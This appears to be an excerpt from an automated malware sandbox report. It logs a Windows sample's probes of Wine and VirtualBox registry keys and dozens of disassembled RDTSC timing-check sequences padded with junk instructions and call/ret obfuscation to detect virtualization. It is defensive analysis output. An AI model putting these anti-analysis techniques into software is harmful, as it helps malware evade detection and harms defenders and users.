Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 238984 second address: 23899F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4B7CC118C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3A761B second address: 3A7621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3A7621 second address: 3A7625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3A7625 second address: 3A762B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3A762B second address: 3A7633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C159D second address: 3C15A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C15A7 second address: 3C15B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F4B7CC118B6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C1884 second address: 3C189A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC5D3B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C189A second address: 3C18AF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F4B7CC118BBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C18AF second address: 3C18B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C1BAD second address: 3C1BD9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jnl 00007F4B7CC118B6h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4B7CC118C4h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C423C second address: 3C4240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C4240 second address: 3C4277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F4B7CC118C4h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4B7CC118C8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C4277 second address: 3C429C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F4B7CC5D3B3h 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C429C second address: 3C42A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C42FA second address: 3C4300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C43D4 second address: 3C4435 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 192F9E40h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F4B7CC118B8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov si, bx 0x0000002d lea ebx, dword ptr [ebp+1245F16Bh] 0x00000033 mov edi, dword ptr [ebp+122D3853h] 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c jnl 00007F4B7CC118BCh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C44CC second address: 3C44F9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F4B7CC5D3ACh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F4B7CC5D3B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C4618 second address: 3C461C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C461C second address: 3C4626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3C4626 second address: 3C462A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E3680 second address: 3E3686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E396D second address: 3E3981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4B7CC118B6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E3981 second address: 3E3985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E3985 second address: 3E39AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F4B7CC118BEh 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007F4B7CC118B6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E3ADC second address: 3E3AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E3AE0 second address: 3E3AEB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E3ECE second address: 3E3F00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F4B7CC5D3BAh 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F4B7CC5D3A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E3F00 second address: 3E3F15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E4403 second address: 3E440E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4B7CC5D3A6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E440E second address: 3E4414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E4414 second address: 3E4427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC5D3AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E46A4 second address: 3E46B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4B7CC118B6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E46B2 second address: 3E46BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4B7CC5D3A6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E46BD second address: 3E46D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4B7CC118BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3DCA77 second address: 3DCA88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F4B7CC5D3ABh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3AFEF0 second address: 3AFEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E4846 second address: 3E484C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E4DEE second address: 3E4DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E4DF3 second address: 3E4DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E4DFB second address: 3E4E11 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E4E11 second address: 3E4E17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E50DB second address: 3E50E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E50E1 second address: 3E50E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E50E6 second address: 3E50F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F4B7CC118BAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E50F9 second address: 3E50FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E50FF second address: 3E5120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F4B7CC118C0h 0x0000000e ja 00007F4B7CC118BCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E5120 second address: 3E513E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F4B7CC5D3A6h 0x0000000c jmp 00007F4B7CC5D3B2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E82C5 second address: 3E82CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E879E second address: 3E87A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3E7233 second address: 3E7237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F307B second address: 3F3081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F2462 second address: 3F2466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F2466 second address: 3F2471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F2748 second address: 3F2758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F2758 second address: 3F2762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F2ED0 second address: 3F2ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F5038 second address: 3F503E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F503E second address: 3F5044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F5044 second address: 3F5052 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F525C second address: 3F5260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F5564 second address: 3F5568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F5568 second address: 3F5572 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F5572 second address: 3F5578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F5D7E second address: 3F5DA3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4B7CC118C0h 0x0000000f popad 0x00000010 push eax 0x00000011 jp 00007F4B7CC118BEh 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F602A second address: 3F603E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F6800 second address: 3F686F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F4B7CC118B8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 xor esi, 5423D500h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007F4B7CC118B8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 mov esi, 5FEEADB2h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jo 00007F4B7CC118B6h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F686F second address: 3F6880 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F721C second address: 3F7222 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F7222 second address: 3F72D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F4B7CC5D3A8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 xor dword ptr [ebp+122D268Eh], edx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007F4B7CC5D3A8h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 movzx edi, cx 0x0000004b push 00000000h 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 call 00007F4B7CC5D3A8h 0x00000055 pop eax 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a add dword ptr [esp+04h], 00000018h 0x00000062 inc eax 0x00000063 push eax 0x00000064 ret 0x00000065 pop eax 0x00000066 ret 0x00000067 push eax 0x00000068 mov dword ptr [ebp+122D18C9h], eax 0x0000006e pop edi 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F4B7CC5D3B8h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F8E09 second address: 3F8E4E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F4B7CC118B8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+122D1772h], edi 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 pushad 0x00000035 jne 00007F4B7CC118B6h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F8E4E second address: 3F8E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F8E5E second address: 3F8E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F97E4 second address: 3F9861 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F4B7CC5D3B8h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4B7CC5D3B0h 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D2701h], ecx 0x00000018 push 00000000h 0x0000001a sub esi, 55D4517Bh 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007F4B7CC5D3A8h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Bh 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c mov dword ptr [ebp+122D1864h], edi 0x00000042 push eax 0x00000043 pushad 0x00000044 pushad 0x00000045 jnp 00007F4B7CC5D3A6h 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e jo 00007F4B7CC5D3ACh 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FB2FF second address: 3FB305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FB305 second address: 3FB309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3FB309 second address: 3FB30E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
